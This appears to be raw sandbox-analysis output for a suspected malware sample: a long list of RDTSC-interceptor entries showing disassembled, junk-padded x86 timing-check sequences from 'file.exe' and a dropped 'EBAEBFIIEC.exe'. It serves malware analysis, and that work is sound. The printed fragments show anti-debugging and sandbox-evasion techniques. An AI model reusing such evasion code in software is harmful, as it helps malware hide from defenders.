Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0599 second address: 4BF05F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F6970D85C1Eh 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 jmp 00007F6970D85C20h 0x00000019 inc edi 0x0000001a jmp 00007F6970D85C20h 0x0000001f test al, al 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF05F2 second address: 4BF05F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF05F9 second address: 4BF05FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF05FF second address: 4BF0603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0603 second address: 4BF0607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0607 second address: 4BF0654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F69E336C046h 0x0000000e pushad 0x0000000f mov edi, 68FF62BCh 0x00000014 popad 0x00000015 mov ecx, edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F6970DB3BDCh 0x0000001e and ax, 51D8h 0x00000023 jmp 00007F6970DB3BDBh 0x00000028 popfd 0x00000029 popad 0x0000002a shr ecx, 02h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F6970DB3BE1h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0654 second address: 4BF067A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6970D85C1Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF067A second address: 4BF06F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6970DB3BE7h 0x00000009 sbb eax, 091B4F5Eh 0x0000000f jmp 00007F6970DB3BE9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edi, 6E76A46Ch 0x00000024 pushfd 0x00000025 jmp 00007F6970DB3BE5h 0x0000002a and ecx, 24F6B846h 0x00000030 jmp 00007F6970DB3BE1h 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF06F3 second address: 4BF073B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6970D85C23h 0x00000014 call 00007F6970D85C28h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF073B second address: 4BF07E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007F6970DB3BE0h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F6970DB3BDEh 0x0000001e jmp 00007F6970DB3BE5h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F6970DB3BE0h 0x0000002a and ch, 00000068h 0x0000002d jmp 00007F6970DB3BDBh 0x00000032 popfd 0x00000033 popad 0x00000034 mov eax, ebx 0x00000036 jmp 00007F6970DB3BE6h 0x0000003b mov ecx, dword ptr [ebp-10h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F6970DB3BE7h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF07E3 second address: 4BF081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6970D85C1Fh 0x00000009 jmp 00007F6970D85C23h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr fs:[00000000h], ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF081C second address: 4BF0820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0820 second address: 4BF0826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0826 second address: 4BF0839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0839 second address: 4BF083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF083D second address: 4BF0876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 jmp 00007F6970DB3BE5h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F6970DB3BE3h 0x00000017 pop ecx 0x00000018 mov bh, 04h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0876 second address: 4BF087C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF087C second address: 4BF08C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6970DB3BE3h 0x00000015 or cx, E9EEh 0x0000001a jmp 00007F6970DB3BE9h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF08C7 second address: 4BF08DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF08DE second address: 4BF08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF08E2 second address: 4BF08FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF08FF second address: 4BF0431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 7Ah 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a leave 0x0000000b jmp 00007F6970DB3BE4h 0x00000010 retn 0008h 0x00000013 cmp dword ptr [ebp-2Ch], 10h 0x00000017 mov eax, dword ptr [ebp-40h] 0x0000001a jnc 00007F6970DB3BD5h 0x0000001c push eax 0x0000001d lea edx, dword ptr [ebp-00000590h] 0x00000023 push edx 0x00000024 call esi 0x00000026 push 00000008h 0x00000028 pushad 0x00000029 push ebx 0x0000002a mov bh, ah 0x0000002c pop edx 0x0000002d call 00007F6970DB3BE2h 0x00000032 mov dx, si 0x00000035 pop eax 0x00000036 popad 0x00000037 push 572DE26Ch 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F6970DB3BE9h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0A43 second address: 4BF0A49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0A49 second address: 4BF0A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BE3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0A60 second address: 4BF0A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FAB84D second address: FAB864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE2h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5096 second address: FC509C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC509C second address: FC50A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC50A1 second address: FC50AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6970D85C16h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5277 second address: FC527C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5552 second address: FC5573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5573 second address: FC557D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC557D second address: FC5581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5581 second address: FC5587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5587 second address: FC558D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC5857 second address: FC586C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDAh 0x00000007 push esi 0x00000008 jnp 00007F6970DB3BD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC714E second address: FC71A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6970D85C23h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ebx 0x00000014 pushad 0x00000015 jmp 00007F6970D85C1Fh 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pop ebx 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 pushad 0x00000022 jne 00007F6970D85C16h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push ebx 0x00000031 push edi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC71D1 second address: FC71D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC71D5 second address: FC71DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC71DB second address: FC720C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F6970DB3BDDh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC720C second address: FC7271 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 and edx, dword ptr [ebp+122D2C3Eh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F6970D85C18h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b call 00007F6970D85C19h 0x00000030 jmp 00007F6970D85C26h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jnp 00007F6970D85C23h 0x0000003e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7271 second address: FC7295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7295 second address: FC7299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7299 second address: FC72CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a jmp 00007F6970DB3BE1h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F6970DB3BE3h 0x0000001c jmp 00007F6970DB3BDDh 0x00000021 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC72CE second address: FC7326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov cl, B7h 0x0000000c mov dx, 3AAFh 0x00000010 push 00000003h 0x00000012 mov dword ptr [ebp+122D1DE1h], esi 0x00000018 push 00000000h 0x0000001a mov cx, dx 0x0000001d push 00000003h 0x0000001f adc di, 7BD1h 0x00000024 push B2CEDBE4h 0x00000029 pushad 0x0000002a push eax 0x0000002b jmp 00007F6970D85C23h 0x00000030 pop eax 0x00000031 pushad 0x00000032 jbe 00007F6970D85C16h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7425 second address: FC74AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6970DB3BDFh 0x00000008 jmp 00007F6970DB3BE7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 5018F391h 0x00000017 mov edi, dword ptr [ebp+122D333Ah] 0x0000001d clc 0x0000001e push 00000003h 0x00000020 jmp 00007F6970DB3BE2h 0x00000025 push 00000000h 0x00000027 mov si, ax 0x0000002a push 00000003h 0x0000002c mov ecx, dword ptr [ebp+122D1C89h] 0x00000032 mov edi, dword ptr [ebp+122D3872h] 0x00000038 call 00007F6970DB3BD9h 0x0000003d jmp 00007F6970DB3BE3h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC74AA second address: FC74AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC74AF second address: FC74C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BDEh 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC74C1 second address: FC74FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jc 00007F6970D85C1Ah 0x00000016 push esi 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop esi 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d jmp 00007F6970D85C29h 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7640 second address: FC7684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007F6970DB3BD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 jp 00007F6970DB3BFCh 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7684 second address: FC768A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC768A second address: FC7697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F6970DB3BD6h 0x0000000d rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC7697 second address: FC76EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b push 00000003h 0x0000000d push 00000000h 0x0000000f movsx ecx, cx 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F6970D85C18h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e pushad 0x0000002f mov esi, dword ptr [ebp+122D37D6h] 0x00000035 mov dword ptr [ebp+122D298Dh], esi 0x0000003b popad 0x0000003c push 965130EEh 0x00000041 push ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FC76EC second address: FC76F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE8E76 second address: FE8EAC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970D85C2Bh 0x00000008 jnc 00007F6970D85C16h 0x0000000e jmp 00007F6970D85C1Fh 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6970D85C21h 0x00000020 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB5868 second address: FB5888 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6970DB3BD6h 0x00000008 jmp 00007F6970DB3BE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB5888 second address: FB588D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB588D second address: FB5893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE6D34 second address: FE6D3E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6970D85C16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE6D3E second address: FE6D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE6D4A second address: FE6D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE6F1A second address: FE6F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE6F1E second address: FE6F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE7422 second address: FE7428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE75EB second address: FE7609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F6970D85C1Eh 0x0000000d jg 00007F6970D85C16h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE78C9 second address: FE78CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE7A0D second address: FE7A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970D85C27h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE7E5C second address: FE7E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BE0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE7E72 second address: FE7E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE84E0 second address: FE84E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE84E6 second address: FE8527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jc 00007F6970D85C16h 0x0000000e popad 0x0000000f jmp 00007F6970D85C21h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6970D85C29h 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE8527 second address: FE852E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE852E second address: FE8534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE8534 second address: FE8553 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6970DB3BE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F6970DB3BDCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE86B7 second address: FE86BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE86BD second address: FE86C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE86C2 second address: FE86C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE86C8 second address: FE86D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6970DB3BD6h 0x0000000a rdtsc
